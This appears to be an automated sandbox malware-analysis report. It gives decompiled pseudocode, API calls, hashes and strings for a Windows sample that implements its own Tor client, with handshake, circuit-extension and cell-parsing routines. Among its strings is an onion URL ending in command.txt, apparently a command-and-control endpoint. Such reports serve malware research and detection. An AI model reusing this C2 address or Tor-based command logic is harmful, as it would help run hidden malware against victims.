%s, xrefs: 00007FF79BAAFC5D

Memory Dump Source

Source File: 00000000.00000002.513438044.00007FF79BAA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79BAA0000, based on PE: true

Associated: 00000000.00000002.513412937.00007FF79BAA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513607536.00007FF79BAB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513720333.00007FF79BABD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513738639.00007FF79BABE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79baa0000_SPXp2YHDFz.jbxd

Similarity

API ID: free$CurrentLocalThreadTime_cwprintf_s_lmallocsscanf
String ID: %s$Get pings...$bad URL info: %s$cached-consensus$gfffffff$gfffffff$http://pm2pavba27wr4m34.onion/command.txt
API String ID: 3228243443-2893153835
Opcode ID: b333219e343c115cd643a52c2fea94fc11b562b50dd84996798bede20b9f3783
Instruction ID: 3bd87e277938fe10dd357a94cc6b30c26cbcb0c9538babfbe593d95df265c515
Opcode Fuzzy Hash: b333219e343c115cd643a52c2fea94fc11b562b50dd84996798bede20b9f3783
Instruction Fuzzy Hash: D391A172A04B4996EB20DF69E4407EDB361FB58798F804636DA5E43BA4EF38E245C350

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF79BAAA8C8 Relevance: 13.7, APIs: 4, Strings: 5, Instructions: 211
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E00007FF77FF79BAAA8C8(long long __rbx, intOrPtr* __rcx, intOrPtr* __rdx, void* __r8, void* __r9) {
				void* _t21;
				void* _t24;
				void* _t27;
				void* _t32;
				intOrPtr* _t35;
				void* _t43;
				int _t44;
				void* _t50;
				void* _t52;
				int _t58;
				void* _t60;
				void* _t62;
				void* _t64;

				_t32 = _t52;
				 *((long long*)(_t32 + 0x10)) = __rdx;
				_t50 = _t32 - 0x5f;
				 *((long long*)(_t50 + 0x17)) = 0xfffffffe;
				 *((long long*)(_t32 + 8)) = __rbx;
				_t35 = __rdx;
				r12d = 0;
				 *((intOrPtr*)(_t50 - 0x51)) = r12d;
				_t21 = E00007FF77FF79BAAABB0(__rcx);
				_t6 = _t58 + 1; // 0x1
				r13d = _t6;
				if (_t21 == 0) goto 0x9baaa94f;
				 *((long long*)(_t50 - 0x49)) =  *((intOrPtr*)(__rcx));
				 *((intOrPtr*)(_t50 - 0x41)) = r13d;
				_t9 = _t58 + 4; // 0x4
				r14d = _t9;
				if ( *((intOrPtr*)(__rcx + 0x10)) - r14d >= 0) goto 0x9baaa9de;
				_t43 = _t50 - 0x55;
				E00007FF77FF79BAAA138(__rdx, _t50 - 0x49, _t43, __r8, _t64, _t62);
				if (_t32 == 2) goto 0x9baaa996;
				E00007FF77FF79BAA1720(0, _t27, 0x9babd010, "socket_buffer.read(circuit_id_v3) != sizeof(circuit_id_v3_type)\n", __r9);
				_t13 = _t43 + 0x30; // 0x30
				r8d = _t13;
				_t24 = memset(_t60, _t58, _t44);
				 *_t35 = r12d;
				 *((intOrPtr*)(_t35 + 4)) = r12b;
				 *(_t35 + 0x10) = _t58;
				 *(_t35 + 0x18) = _t58;
				 *(_t35 + 0x20) = _t58;
				 *((intOrPtr*)(_t35 + 0x28)) = r12b;
				 *((intOrPtr*)(_t50 - 0x51)) = r13d;
				return _t24;
			}

0x7ff79baaa8c8
0x7ff79baaa8cb
0x7ff79baaa8da
0x7ff79baaa8e5
0x7ff79baaa8ed
0x7ff79baaa8f1
0x7ff79baaa8f7
0x7ff79baaa8fa
0x7ff79baaa8fe
0x7ff79baaa903
0x7ff79baaa903
0x7ff79baaa90a
0x7ff79baaa90f
0x7ff79baaa913
0x7ff79baaa917
0x7ff79baaa917
0x7ff79baaa920
0x7ff79baaa926
0x7ff79baaa92e
0x7ff79baaa937
0x7ff79baaa949
0x7ff79baaa951
0x7ff79baaa951
0x7ff79baaa958
0x7ff79baaa95d
0x7ff79baaa960
0x7ff79baaa964
0x7ff79baaa968
0x7ff79baaa96c
0x7ff79baaa970
0x7ff79baaa974
0x7ff79baaa995

APIs

memset.MSVCRT ref: 00007FF79BAAA958
free.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 00007FF79BAAAAEE
free.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 00007FF79BAAAB98
free.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 00007FF79BAAABA3

Strings

socket_buffer.read(circuit_id) != sizeof(circuit_id_type), xrefs: 00007FF79BAAAA3B
socket_buffer.read<payload_size_type>(payload_size) != sizeof(payload_size_type), xrefs: 00007FF79BAAAA6F
socket_buffer.read(circuit_id_v3) != sizeof(circuit_id_v3_type), xrefs: 00007FF79BAAA939
socket_buffer.read(payload.get_buffer(), payload_size) != payload_size, xrefs: 00007FF79BAAAAD4
socket_buffer.read(command) != sizeof(cell_command), xrefs: 00007FF79BAAA9D2

Memory Dump Source

Source File: 00000000.00000002.513438044.00007FF79BAA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79BAA0000, based on PE: true

Associated: 00000000.00000002.513412937.00007FF79BAA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513607536.00007FF79BAB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513720333.00007FF79BABD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513738639.00007FF79BABE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79baa0000_SPXp2YHDFz.jbxd

Similarity

API ID: free$memset
String ID: socket_buffer.read(circuit_id) != sizeof(circuit_id_type)$socket_buffer.read(circuit_id_v3) != sizeof(circuit_id_v3_type)$socket_buffer.read(command) != sizeof(cell_command)$socket_buffer.read(payload.get_buffer(), payload_size) != payload_size$socket_buffer.read<payload_size_type>(payload_size) != sizeof(payload_size_type)
API String ID: 2717317152-1323880483
Opcode ID: 0bd86183518454094cfa7a266a0086e1b74e520a1b6cad7336571c78342ea274
Instruction ID: 848c8da86ac3d9ecb6f20470868c0c9e81efa38cabbad0cbcf73ec1fba9affcf
Opcode Fuzzy Hash: 0bd86183518454094cfa7a266a0086e1b74e520a1b6cad7336571c78342ea274
Instruction Fuzzy Hash: 1D919276B09A8989E720EF78D4405AC77F2F704B98B544235DE6D23BA8DF38D615C3A0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF79BAAA20C Relevance: 13.6, APIs: 5, Strings: 4, Instructions: 146
COMMON

Download Yara Rule

C-Code - Quality: 57%

			E00007FF77FF79BAAA20C(void* __edx, void* __edi, long long __rbx, signed long long* __rcx, long long __rdx, long long __rsi, void* __r8, void* __r9, char _a8, char _a10, long long _a16) {
				void* _v24;
				char _v32;
				void* _v56;
				char _v72;
				long long _v80;
				char _v88;
				long long _v96;
				intOrPtr _v104;
				void* __rbp;
				void* _t43;
				long long _t74;
				signed long long _t76;
				signed long long _t77;
				long long _t82;
				signed long long _t83;
				intOrPtr _t87;
				intOrPtr* _t93;
				long long _t107;
				signed long long* _t111;
				long long _t116;
				void* _t119;
				void* _t123;

				_t123 = __r9;
				_t119 = __r8;
				_t74 = _t116;
				_v96 = 0xfffffffe;
				 *((long long*)(_t74 + 0x18)) = __rbx;
				 *((long long*)(_t74 + 0x20)) = __rsi;
				_t82 = __rdx;
				_t111 = __rcx;
				_v104 = 0;
				if (E00007FF77FF79BAAABB0(__rcx) == 0) goto 0x9baaa246;
				E00007FF77FF79BAAA41C(_t38, __rdx, __rcx, _t116);
				 *((long long*)(__rcx + 8)) = _t82;
				malloc(??);
				_a16 = _t74;
				if (_t74 == 0) goto 0x9baaa2c6;
				_t87 =  *((intOrPtr*)(__rcx + 8));
				_a8 =  *((intOrPtr*)(_t87 + 0x58));
				E00007FF77FF79BAA815C(_t74,  &_a8,  &_v72, _t119);
				_v104 = 1;
				_t107 =  *((intOrPtr*)(_t74 + 8));
				_t76 =  *((intOrPtr*)(_t74 + 0x10)) - _t107;
				_t77 =  ~_t76;
				asm("dec eax");
				_v88 = _t107;
				_v80 = (_t76 - 0x00000001 & _t77) + _t107;
				asm("movaps xmm0, [ebp-0x40]");
				asm("movdqa [ebp-0x40], xmm0");
				r8d =  *(_t87 + 0x5c) & 0xffff;
				E00007FF77FF79BAA3A48(_t82, _t74,  &_v88, __rsi, _t116);
				_t83 = _t77;
				goto 0x9baaa2c8;
				_t93 =  *_t111;
				if (_t93 == 0) goto 0x9baaa2df;
				if (_t83 == _t93) goto 0x9baaa2df;
				_t43 =  *((intOrPtr*)( *_t93))();
				 *_t111 = _t83;
				if ((sil & 0x00000001) == 0) goto 0x9baaa2f7;
				_v104 = 0;
				E00007FF77FF79BAA1BDC(_t43,  &_v72);
				if (E00007FF77FF79BAAABB0(_t111) == 0) goto 0x9baaa3b1;
				E00007FF77FF79BAA1720(0, __edi, 0x9babd010, "tor_socket::send_versions()\n", _t123);
				_a8 = 0x400;
				_v88 =  &_a8;
				_v80 =  &_a10;
				asm("movaps xmm0, [ebp-0x40]");
				asm("movdqa [ebp-0x40], xmm0");
				r8b = 7;
				E00007FF77FF79BAA45C0(0,  &_v72);
				E00007FF77FF79BAAA86C( &_a10, _t111,  &_a10);
				free(??);
				E00007FF77FF79BAA1720(0, __edi, 0x9babd010, "tor_socket::recv_versions()\n",  &_v88);
				E00007FF77FF79BAAA8C8(_t83, _t111,  &_v72, "tor_socket::recv_versions()\n",  &_v88);
				if (_v32 != 0) goto 0x9baaa3c6;
				free(??);
				return E00007FF77FF79BAAA41C(E00007FF77FF79BAA1720(3, __edi, 0x9babd010, "Invalid handshake\n",  &_v88), _t83, _t111, _t116);
			}

0x7ff79baaa20c
0x7ff79baaa20c
0x7ff79baaa20c
0x7ff79baaa21a
0x7ff79baaa222
0x7ff79baaa226
0x7ff79baaa22a
0x7ff79baaa22d
0x7ff79baaa232
0x7ff79baaa23c
0x7ff79baaa241
0x7ff79baaa246
0x7ff79baaa24f
0x7ff79baaa258
0x7ff79baaa25f
0x7ff79baaa261
0x7ff79baaa26c
0x7ff79baaa277
0x7ff79baaa282
0x7ff79baaa285
0x7ff79baaa28d
0x7ff79baaa294
0x7ff79baaa297
0x7ff79baaa2a0
0x7ff79baaa2a4
0x7ff79baaa2a8
0x7ff79baaa2ac
0x7ff79baaa2b1
0x7ff79baaa2bc
0x7ff79baaa2c1
0x7ff79baaa2c4
0x7ff79baaa2c8
0x7ff79baaa2ce
0x7ff79baaa2d3
0x7ff79baaa2dd
0x7ff79baaa2df
0x7ff79baaa2e6
0x7ff79baaa2eb
0x7ff79baaa2f2
0x7ff79baaa301
0x7ff79baaa31a
0x7ff79baaa31f
0x7ff79baaa329
0x7ff79baaa331
0x7ff79baaa335
0x7ff79baaa339
0x7ff79baaa342
0x7ff79baaa34b
0x7ff79baaa357
0x7ff79baaa361
0x7ff79baaa373
0x7ff79baaa37f
0x7ff79baaa389
0x7ff79baaa38f
0x7ff79baaa3c5

APIs

malloc.MSVCRT ref: 00007FF79BAAA24F
free.MSVCRT ref: 00007FF79BAAA361
free.MSVCRT ref: 00007FF79BAAA38F

Strings

tor_socket::recv_versions(), xrefs: 00007FF79BAAA367
Invalid handshake, xrefs: 00007FF79BAAA395
tor_socket::recv_net_info(), xrefs: 00007FF79BAAA3E3
tor_socket::send_versions(), xrefs: 00007FF79BAAA307

Memory Dump Source

Source File: 00000000.00000002.513438044.00007FF79BAA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79BAA0000, based on PE: true

Associated: 00000000.00000002.513412937.00007FF79BAA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513607536.00007FF79BAB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513720333.00007FF79BABD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513738639.00007FF79BABE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79baa0000_SPXp2YHDFz.jbxd

Similarity

API ID: free$malloc
String ID: Invalid handshake$tor_socket::recv_net_info()$tor_socket::recv_versions()$tor_socket::send_versions()
API String ID: 2190258309-3974360583
Opcode ID: 45d5e829f93b3c090ec280c3d5ef24e709cffd1c00a70553bb883f2ca9db83ab
Instruction ID: 2c53a2392d50c2975f9b361cba025422aa55a55615d88d593b15c16dbb6df29f
Opcode Fuzzy Hash: 45d5e829f93b3c090ec280c3d5ef24e709cffd1c00a70553bb883f2ca9db83ab
Instruction Fuzzy Hash: 2D51C122A08A1995FB24EB79D8505FCA3A2FF49B94F844135DE0D13BB5DF3C9646C360

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF79BAA1670 Relevance: 12.0, APIs: 8, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF79BAA16A4
GetStdHandle.KERNEL32 ref: 00007FF79BAA16B0
GetConsoleScreenBufferInfo.KERNEL32 ref: 00007FF79BAA16BE
GetStdHandle.KERNEL32 ref: 00007FF79BAA16C9
SetConsoleTextAttribute.KERNEL32 ref: 00007FF79BAA16D5
vprintf.MSVCRT ref: 00007FF79BAA16E1
GetStdHandle.KERNEL32 ref: 00007FF79BAA16EC
SetConsoleTextAttribute.KERNEL32 ref: 00007FF79BAA16FA

Memory Dump Source

Source File: 00000000.00000002.513438044.00007FF79BAA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79BAA0000, based on PE: true

Associated: 00000000.00000002.513412937.00007FF79BAA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513607536.00007FF79BAB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513720333.00007FF79BABD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513738639.00007FF79BABE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79baa0000_SPXp2YHDFz.jbxd

Similarity

API ID: ConsoleHandle$AttributeText$BufferCriticalEnterInfoScreenSectionvprintf
String ID:
API String ID: 2254156624-0
Opcode ID: e0510c3791aeaa46cc1eb55e9a49d546abe1d3471db95dd836585f7d16303df5
Instruction ID: 83b6d378bac2dc02fda19dbe863708dd34fb0ae3d8146a26fed09fda5eb51acc
Opcode Fuzzy Hash: e0510c3791aeaa46cc1eb55e9a49d546abe1d3471db95dd836585f7d16303df5
Instruction Fuzzy Hash: 18113325A08B6592DA146B3AA804428B3A5FF85FB1B444337DD7E037F4CF3CD54A8310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF79BAA5284 Relevance: 10.7, APIs: 3, Strings: 4, Instructions: 173
COMMON

Download Yara Rule

C-Code - Quality: 56%

			E00007FF77FF79BAA5284(void* __ecx, void* __edi, long long __rbx, void* __rcx, void* __rdx) {
				void* __rdi;
				void* __rsi;
				void* _t84;
				void* _t91;
				void* _t99;
				long long _t108;
				intOrPtr _t111;
				intOrPtr _t112;
				intOrPtr* _t117;
				void* _t119;
				long long _t131;
				long long _t132;
				void* _t160;
				long long _t161;
				void* _t165;
				long long _t166;
				long long _t180;
				long long _t182;
				void* _t183;
				void* _t184;

				_t98 = __edi;
				_t91 = __ecx;
				_t108 = _t166;
				_t165 = _t108 - 0x5f;
				 *((long long*)(_t165 + 0x17)) = 0xfffffffe;
				 *((long long*)(_t108 + 0x18)) = __rbx;
				_t160 = __rdx;
				_t184 = __rcx;
				_t177 =  *((intOrPtr*)(__rdx + 0x40));
				E00007FF77FF79BAA1720(0, __edi, 0x9babd010, "circuit::extend_tap() [or: %s, state: extending]\n",  *((intOrPtr*)(__rdx + 0x40)));
				 *((intOrPtr*)(__rcx + 0xc)) = 2;
				asm("xorps xmm0, xmm0");
				asm("movdqu [ebp-0x1], xmm0");
				r12d = 0;
				 *((long long*)(_t165 + 0xf)) = _t180;
				_t7 = _t184 + 0x30; // 0x30
				_t117 = _t7;
				if ( *_t117 == _t180) goto 0x9baa52fc;
				E00007FF77FF79BAA1720(2, __edi, 0x9babd010, "circuit::extend_tap() extend node isn\'t null\n", _t177);
				r8d = 0;
				E00007FF77FF79BAA5604(_t108, _t117, 0x9babd010, _t160);
				 *((long long*)(_t165 + 0x67)) = _t108;
				 *_t117 = _t108;
				 *((long long*)(_t165 + 0x67)) =  *_t117;
				E00007FF77FF79BAA6D40(_t117, _t165 + 0x67, _t160);
				E00007FF77FF79BAA8D50(_t117,  *_t117, _t165 - 0x69);
				_t182 =  *((intOrPtr*)(_t108 + 8));
				 *((long long*)(_t165 - 1)) = _t182;
				 *((long long*)(_t108 + 8)) = _t180;
				_t161 =  *((intOrPtr*)(_t108 + 0x10));
				 *((long long*)(_t165 + 7)) = _t161;
				 *((long long*)(_t108 + 0x10)) = _t180;
				 *((long long*)(_t165 + 0xf)) =  *((intOrPtr*)(_t108 + 0x18));
				 *((long long*)(_t108 + 0x18)) = _t180;
				free(??);
				E00007FF77FF79BAA25F4(_t108, _t165 - 0x29);
				_t131 =  *((intOrPtr*)(_t165 - 0x21));
				 *((long long*)(_t165 - 0x49)) = 0x9bab3870;
				 *((long long*)(_t165 - 0x49)) = 0x9bab3bd8;
				 *((long long*)(_t165 - 0x41)) = _t131;
				 *((long long*)(_t165 - 0x39)) =  *((intOrPtr*)(_t165 - 0x19));
				 *((long long*)(_t165 - 0x31)) = _t131;
				 *((long long*)(_t165 - 0x69)) = _t165 - 0x49;
				r14d = 1;
				 *((intOrPtr*)(_t165 - 0x61)) = r14d;
				 *((intOrPtr*)(_t165 + 0x67)) =  *((intOrPtr*)(_t160 + 0x58));
				_t132 = _t180;
				 *((char*)(_t165 + _t132 + 0x6f)) =  *((intOrPtr*)(_t165 + 0x6a));
				if (_t132 + _t183 - 4 < 0) goto 0x9baa53b6;
				 *((intOrPtr*)(_t165 + 0x67)) =  *((intOrPtr*)(_t165 + 0x6f));
				E00007FF77FF79BAA48B8(_t117, _t165 - 0x69, _t165 + 0x67);
				 *((short*)(_t165 + 0x67)) =  *(_t160 + 0x5c) & 0x0000ffff;
				E00007FF77FF79BAA4838(_t117, _t165 - 0x69, _t165 + 0x67);
				_t111 =  *((intOrPtr*)(_t165 - 0x49));
				 *((intOrPtr*)(_t111 + 0x40))();
				_t50 = _t111 - 1; // -1
				if (_t50 - 0xfffffffd > 0) goto 0x9baa541d;
				_t119 = _t180 + _t111;
				if (_t119 - _t161 - _t182 < 0) goto 0x9baa53f6;
				_t112 =  *((intOrPtr*)(_t165 - 0x49));
				 *((intOrPtr*)(_t112 + 0x40))();
				_t57 = _t112 - 1; // -1
				if (_t57 - 0xfffffffd > 0) goto 0x9baa5451;
				if (_t119 + _t112 -  *((intOrPtr*)(_t160 + 0x70)) -  *((intOrPtr*)(_t160 + 0x68)) < 0) goto 0x9baa542a;
				 *((long long*)(_t165 - 0x69)) =  *((intOrPtr*)(_t165 - 0x21));
				 *((long long*)(_t165 - 0x61)) =  *((intOrPtr*)(_t165 - 0x19));
				asm("movaps xmm0, [ebp-0x69]");
				asm("movdqa [ebp-0x69], xmm0");
				 *((char*)(_t166 - 0xc0 + 0x20)) = 9;
				r8b = 6;
				E00007FF77FF79BAA5C58(_t91, 0, _t99, _t119 + _t112, _t184, _t160,  *((intOrPtr*)(_t160 + 0x70)) -  *((intOrPtr*)(_t160 + 0x68)), _t165 - 0x69);
				r8d = 0x7530;
				_t84 = E00007FF77FF79BAA6248(4, _t119 + _t112, _t184, _t160,  *((intOrPtr*)(_t160 + 0x70)) -  *((intOrPtr*)(_t160 + 0x68)));
				_t64 = _t184 + 0x30; // 0x30
				E00007FF77FF79BAA6D40(_t119 + _t112, _t64,  *((intOrPtr*)(_t160 + 0x68)) + _t119);
				if (_t84 != 0) goto 0x9baa54bd;
				E00007FF77FF79BAA1720(0, _t98, 0x9babd010, "circuit::extend_tap() [or: %s, state: extended]\n",  *((intOrPtr*)(_t160 + 0x40)));
				goto 0x9baa54d1;
				E00007FF77FF79BAA1720(3, _t98, 0x9babd010, "circuit::extend_tap() [or: %s, state: destroyed]\n",  *((intOrPtr*)(_t160 + 0x40)));
				r14b = 0;
				 *((long long*)(_t165 - 0x49)) = 0x9bab3870;
				free(??);
				free(??);
				return r14b;
			}

0x7ff79baa5284
0x7ff79baa5284
0x7ff79baa5284
0x7ff79baa5292
0x7ff79baa529d
0x7ff79baa52a5
0x7ff79baa52a9
0x7ff79baa52ac
0x7ff79baa52af
0x7ff79baa52c3
0x7ff79baa52cd
0x7ff79baa52d1
0x7ff79baa52d4
0x7ff79baa52d9
0x7ff79baa52dc
0x7ff79baa52e0
0x7ff79baa52e0
0x7ff79baa52e7
0x7ff79baa52f7
0x7ff79baa52fc
0x7ff79baa5302
0x7ff79baa5307
0x7ff79baa530e
0x7ff79baa5311
0x7ff79baa5319
0x7ff79baa5325
0x7ff79baa532b
0x7ff79baa532f
0x7ff79baa5333
0x7ff79baa5337
0x7ff79baa533b
0x7ff79baa533f
0x7ff79baa5347
0x7ff79baa534b
0x7ff79baa5353
0x7ff79baa5367
0x7ff79baa536d
0x7ff79baa537c
0x7ff79baa5387
0x7ff79baa538b
0x7ff79baa538f
0x7ff79baa5393
0x7ff79baa539b
0x7ff79baa539f
0x7ff79baa53a5
0x7ff79baa53ac
0x7ff79baa53af
0x7ff79baa53b8
0x7ff79baa53c6
0x7ff79baa53cb
0x7ff79baa53d6
0x7ff79baa53df
0x7ff79baa53eb
0x7ff79baa53f6
0x7ff79baa5408
0x7ff79baa540b
0x7ff79baa5413
0x7ff79baa5415
0x7ff79baa541b
0x7ff79baa542a
0x7ff79baa543c
0x7ff79baa543f
0x7ff79baa5447
0x7ff79baa544f
0x7ff79baa5455
0x7ff79baa545d
0x7ff79baa5461
0x7ff79baa5465
0x7ff79baa546c
0x7ff79baa5475
0x7ff79baa547b
0x7ff79baa5485
0x7ff79baa548e
0x7ff79baa5495
0x7ff79baa5499
0x7ff79baa54ab
0x7ff79baa54b6
0x7ff79baa54bb
0x7ff79baa54c9
0x7ff79baa54ce
0x7ff79baa54d8
0x7ff79baa54e0
0x7ff79baa54ea
0x7ff79baa550d

APIs

Part of subcall function 00007FF79BAA1720: GetCurrentThreadId.KERNEL32 ref: 00007FF79BAA1743
Part of subcall function 00007FF79BAA1720: GetLocalTime.KERNEL32(?,?,?,?,?,00000000,00000002,?,?,00007FF79BAA88EE), ref: 00007FF79BAA1750
Part of subcall function 00007FF79BAA1720: _cwprintf_s_l.LIBCMT ref: 00007FF79BAA1791

free.MSVCRT ref: 00007FF79BAA5353

Part of subcall function 00007FF79BAA6248: GetTickCount.KERNEL32 ref: 00007FF79BAA6265
Part of subcall function 00007FF79BAA6248: GetTickCount.KERNEL32 ref: 00007FF79BAA6285

Part of subcall function 00007FF79BAA6D40: free.MSVCRT ref: 00007FF79BAA6D7D

free.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,D9F748FF418D48C8,00000000,?,00000001,00000000), ref: 00007FF79BAA54E0
free.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,D9F748FF418D48C8,00000000,?,00000001,00000000), ref: 00007FF79BAA54EA

Strings

circuit::extend_tap() [or: %s, state: extended], xrefs: 00007FF79BAA54AD
circuit::extend_tap() [or: %s, state: extending], xrefs: 00007FF79BAA52B3
circuit::extend_tap() extend node isn't null, xrefs: 00007FF79BAA52E9
circuit::extend_tap() [or: %s, state: destroyed], xrefs: 00007FF79BAA54BD

Memory Dump Source

Source File: 00000000.00000002.513438044.00007FF79BAA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79BAA0000, based on PE: true

Associated: 00000000.00000002.513412937.00007FF79BAA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513607536.00007FF79BAB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513720333.00007FF79BABD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513738639.00007FF79BABE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79baa0000_SPXp2YHDFz.jbxd

Similarity

API ID: free$CountTick$CurrentLocalThreadTime_cwprintf_s_l
String ID: circuit::extend_tap() [or: %s, state: destroyed]$circuit::extend_tap() [or: %s, state: extended]$circuit::extend_tap() [or: %s, state: extending]$circuit::extend_tap() extend node isn't null
API String ID: 3619066352-4254110855
Opcode ID: 2270ad4e4354c1efc8a996d020e51d170585a18b4a5c4a23d0273d9371662784
Instruction ID: 3d94fb885388d5a98978fc1a9cd4a3ceae5dc6062834571d9901227f9d00065e
Opcode Fuzzy Hash: 2270ad4e4354c1efc8a996d020e51d170585a18b4a5c4a23d0273d9371662784
Instruction Fuzzy Hash: 9C716C72B04B4599EB10EF79D4405EC73B2FB44B98B804236DE5D57AA9DF38E215C3A0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF79BAA3BB4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 125
COMMON

Download Yara Rule

C-Code - Quality: 40%

			E00007FF77FF79BAA3BB4(long long __rcx, long long __rdx, void* __r8) {
				void* _t83;
				long long _t88;
				long long _t89;
				intOrPtr _t94;
				int _t97;
				long long _t98;
				long long _t100;
				int _t112;
				void* _t115;
				void* _t116;
				int _t118;
				void* _t119;
				void* _t121;
				void* _t122;
				int _t128;

				_t100 = __rcx;
				 *((long long*)(_t121 + 8)) = __rcx;
				_t119 = _t121 - 0x37;
				_t122 = _t121 - 0xe0;
				 *((long long*)(_t119 - 0x41)) = 0xfffffffe;
				_t116 = __r8;
				r15d = 0;
				 *((intOrPtr*)(_t119 - 0x59)) = r15d;
				 *((long long*)(__rcx)) = 0x9bab3870;
				 *((long long*)(__rcx)) = 0x9bab3a18;
				 *((long long*)(__rcx + 8)) = __rdx;
				_t6 = _t100 + 0x10; // 0x10
				_t98 = _t6;
				 *((long long*)(_t119 + 0x6f)) = _t98;
				 *((long long*)(_t98 + 8)) = 0x9bab3a18;
				 *_t98 = 0x9bab3a18;
				 *((long long*)(_t98 + 0x18)) = 0x9bab3a18;
				 *((long long*)(_t98 + 0x10)) = 0xffffffffffffffff;
				_t11 = _t98 + 0x28; // 0x38
				_t88 = _t11;
				 *((long long*)(_t119 + 0x77)) = _t88;
				 *(_t88 + 8) = _t128;
				 *(_t88 + 0x10) = _t128;
				 *(_t88 + 0x18) = _t128;
				 *((long long*)(_t98 + 0x48)) = _t88;
				 *((long long*)(_t98 + 0x50)) = _t88;
				 *((intOrPtr*)(_t98 + 0x58)) = 0;
				malloc(_t128);
				 *((long long*)(_t98 + 0xb8)) = _t88;
				malloc(_t112);
				 *((long long*)(_t98 + 0xe0)) = _t88;
				 *((intOrPtr*)(_t98 + 0xf0)) = r15b;
				_t83 =  *0x9babd2b0 - _t128; // 0x0
				if (_t83 != 0) goto 0x9baa3c83;
				__imp__InitSecurityInterfaceA();
				 *0x9babd2b0 = _t88;
				atexit(??);
				asm("movups xmm1, [esi]");
				_t89 =  *((intOrPtr*)(__rcx + 8));
				 *((long long*)(_t98 + 0x20)) = _t89;
				asm("movdqa xmm0, xmm1");
				asm("psrldq xmm0, 0x8");
				asm("dec cx");
				asm("dec ax");
				E00007FF77FF79BAA1BA8(_t89, _t119 - 0x39);
				 *((intOrPtr*)(_t119 - 0x59)) = 1;
				 *((long long*)(_t98 + 0x30)) =  *((intOrPtr*)(_t89 + 8));
				 *((long long*)(_t89 + 8)) =  *((intOrPtr*)(_t98 + 0x30));
				 *((long long*)(_t98 + 0x38)) =  *((intOrPtr*)(_t89 + 0x10));
				 *((long long*)(_t89 + 0x10)) =  *((intOrPtr*)(_t98 + 0x38));
				 *((long long*)(_t98 + 0x40)) =  *((intOrPtr*)(_t89 + 0x18));
				 *((long long*)(_t89 + 0x18)) =  *((intOrPtr*)(_t98 + 0x40));
				 *((intOrPtr*)(_t119 - 0x59)) = 1;
				E00007FF77FF79BAA1BDC(0, _t119 - 0x39);
				 *((long long*)(_t98 + 0xb0)) = 0xc11c;
				 *((long long*)(_t98 + 0xc0)) =  *((intOrPtr*)(_t98 + 0xb8));
				 *(_t98 + 0xc8) = _t128;
				 *(_t98 + 0xd0) = _t128;
				 *(_t98 + 0xd8) = _t128;
				 *(_t98 + 0xe8) = _t128;
				 *((intOrPtr*)(_t119 - 0x51)) = r15d;
				 *((intOrPtr*)(_t119 - 0x4d)) = 2;
				_t50 = _t98 + 0x60; // 0x70
				 *((long long*)(_t119 - 0x49)) = _t50;
				asm("movups xmm0, [ebp-0x51]");
				asm("movdqu [ebx+0x90], xmm0");
				 *((intOrPtr*)(_t119 - 0x51)) = r15d;
				 *((intOrPtr*)(_t119 - 0x4d)) = 1;
				_t54 = _t98 + 0x80; // 0x90
				 *((long long*)(_t119 - 0x49)) = _t54;
				asm("movups xmm0, [ebp-0x51]");
				asm("movdqu [ebx+0xa0], xmm0");
				_t56 = _t116 + 0x4e; // 0x50
				r8d = _t56;
				memset(_t115, _t97, _t118);
				 *((intOrPtr*)(_t119 - 0x19)) = 4;
				 *(_t119 + 0x2f) =  *(_t119 + 0x2f) | 0x00000018;
				_t94 =  *0x9babd2b0; // 0x0
				 *(_t122 + 0x40) = _t128;
				 *((long long*)(_t122 + 0x38)) = _t98;
				 *(_t122 + 0x30) = _t128;
				 *(_t122 + 0x28) = _t128;
				 *((long long*)(_t122 + 0x20)) = _t119 - 0x19;
				r9d = 0;
